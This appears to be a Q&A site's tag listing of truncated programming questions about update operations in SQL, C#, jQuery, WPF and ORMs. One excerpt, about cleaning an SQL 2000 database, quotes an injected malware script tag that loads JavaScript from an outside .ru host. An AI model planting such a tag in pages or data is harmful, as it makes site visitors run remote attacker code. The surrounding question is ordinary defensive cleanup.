update

SQL update one table from another table.

Here’s a simplified version of my problem Table 1 Key1, lastdate, lasttranstype Table2 Table1key1, trandate, trantype I want an SQL statement to update lastdate and lasttransdate on table1 for each record in that table using the matching record in Table2 with the latest date My DB is progress. Is this possible (I can of course write...

Best practice for writing a self-updating windows service

We need to create a windows service that has the ability to self update. Three options spring to mind, a second service that manages the retrieval, uninstallation and installation of the first service. Use of some third party framework (suggestions welcome. I believe .NET supports automatic updating for windows forms apps, but not wi...

I have a site where I will be manually changing street addresses. I want to include a map link but I want it to update itself automatically when I change addresses...

I have a site where I will be manually changing street addresses. I want to include a map link but I want it to update itself automatically when I change addresses... Also, I'd like the link to send the address field to google maps or mapquest and return with that info in a small popup window that features the map. What's the best way...

sql single query update

I'm having to insert values into a new column in our database but I can't get my head around doing this in a consistent manner. There is a lot of data so doing anything manually is pretty much out of the question. Let me set the stage: We have a table called Occurrence and a table called OccurenceBuckets where each occurrence is referen...

Update Struct in foreach loop in C#

I have this code (C#): using System.Collections.Generic; namespace ConsoleApplication1 { public struct Thing { public string Name; } class Program { static void Main(string[] args) { List<Thing> things = new List<Thing>(); foreach (Thing t in things) // for each fil...

Python's MySqlDB not getting updated row

I have a script that waits until some row in a db is updated: con=MySQLdb.connect(server,user,pwd,db) when the script starts the row's value is "running", and it waits for the value to become "finished" while(True): sql='''select value from table where some_condition''' cur=self.getCursor() cur.execute(sql) ...

Jquery Update Browser Location, Don't Redirect

I'm building a series of basic accordions for a project. We want them to have static, linkable pages. So we've created invidividual pages for each of the open states as well. For example, /whoweare is the main slider. But we have a sub slider located at /whoweare/whatwedo What I'm looking to have done is, when a user clicks a heade...

MySQL Update Statement + File Upload

Greetings! Been staring at this all day and can't seem to figure out why my update statement fails to update the field 'image_filename': $fileName = $_FILES['image_filename']; if($fileName["name"] <> ""){ $imageFile = $fileName['name']; $destination = "../../../../assets/resources/images/".$fileName['name']; move_uploaded_fil...

Using a join in Hibernate HQL update query

string query = "update User u set u.PointsTotal = 1 join u.Rounds r where r.RoundId = :round and (r.Row1 & :val) > 0"; NHibernateSession.CreateQuery(query) .SetByte("val", (byte)val) .SetInt32("round", roundId) .ExecuteUpdate(); Just gives me "The given key was not present in the dictionary." And yes, the relations works ...

Updating the datatable behind a textbox?

Using windows.forms, I have a tabcontrol with a listbox and several textboxes all bound to a datatableadapter. When the user selects a member in the listbox the corresponding textboxes are populated. The problem is that, when the user edits the text in a textbox it is not being written back to the datatable. So when they select a differ...

Multiple SQL UPDATE statements OR Single with CASE in it?

I've built a trigger where I am trying to keep priorities in order and not allow duplicate priority values. There are some things to consider. The user can free form the priority in. There is nothing blocking them from picking the same priority as another item. When a value is entered equal to another value the newly prioritized ite...

MySQL Stored Procedures

Hi, I'm coming from a MS SQL Server background. Working on a new project using MySQL with NaviCat 8 Admin tools. Ok, here's the question. Normally when working in MS land if I want to update some data I use a stored procedure to do this: Drop Procedure spNew Create Procedure spNew (@P_Param) UPDATE Table SET Field = 'some value' WHERE ...

Linq to Sql Update not working

I have somewhere around 20 tables that I am working with. I can update the User table just fine, however, when I try to update my Adress table, nothing happens. I dont receive an exeption and the method looks like it executes ok but when i check my data, the values are still the same. Im thinking that it has to do with the fact that i m...

Updating one mysql table based on calculations using variables in another table

I'm trying to update one table based on values in another table. What's wrong with the following request? Error: Unknown column 'source.col3' in 'where clause' UPDATE target SET target.col1 = source.col1 * target.col2, WHERE target.col3 = source.col3 ...

Not able to remove injected script from database rows

I've been handed a MS SQL 2000 database which has been injected with malware. The malware script is as follows: <script src=http://www.someAddress.ru/aScript.js&gt;&lt;/script&gt; Now I want to remove this piece of code from the table rows. As a test, I inputed < h1> Test < /h1> on a row, and successfully ran the following query: UP...

How can I update a 'long' datatype in Oracle?

Probably about 300K rows. Using SQL and/or PL/SQL. Would it be best to copy/convert into an interim format in a temporary table, work on it and then import it back in? The updated data would need to remain as a 'long' datatype because we don't have the resources (or inclination) to fix the DB. Thanks. ...

WPF: TextBox Text is not updating.

I have a user control that i am using inside a Data Template, this user control contains a TextBox which is binded with Value property(declared as a Dependency Property) of my user control. In data template i bind this Value property with my actual property say Name(also a Dependency Property). It works properly, i assign a value to Name...

JQUERY update Tabs when datepicker field change

Hi, I've a Jquery's UI datepicker and some UI Tabs displaying some datas via AJAX (in ASP.NET 1.1...), I would like to update all Tabs object when I select a new date. Could everyone help me????? This is my code: <script type="text/javascript"> function getId(){ var TabSel = $('#tabs').tabs('tabsselect').val(); return TabSel } fun...

Sql Server table not updated with LINQ

I have a database that I have restored on SqlExpress from a bak file which was located on my SQL Server Pro instance. I am using Linq to interact with the database and am able to query and update some of my tables (i havent tried them all). However, I have at least one table that will not accept any kind of update (my UserAddress table)....

how to make procedure that update 5 table's ?

How to make procedure that update 5 table's ? for ex: ....update table1 set field1 = ....... ....update table2 set field2 = ....... ....update table3 set field3 = ....... in oracle 10g - pl/sql ...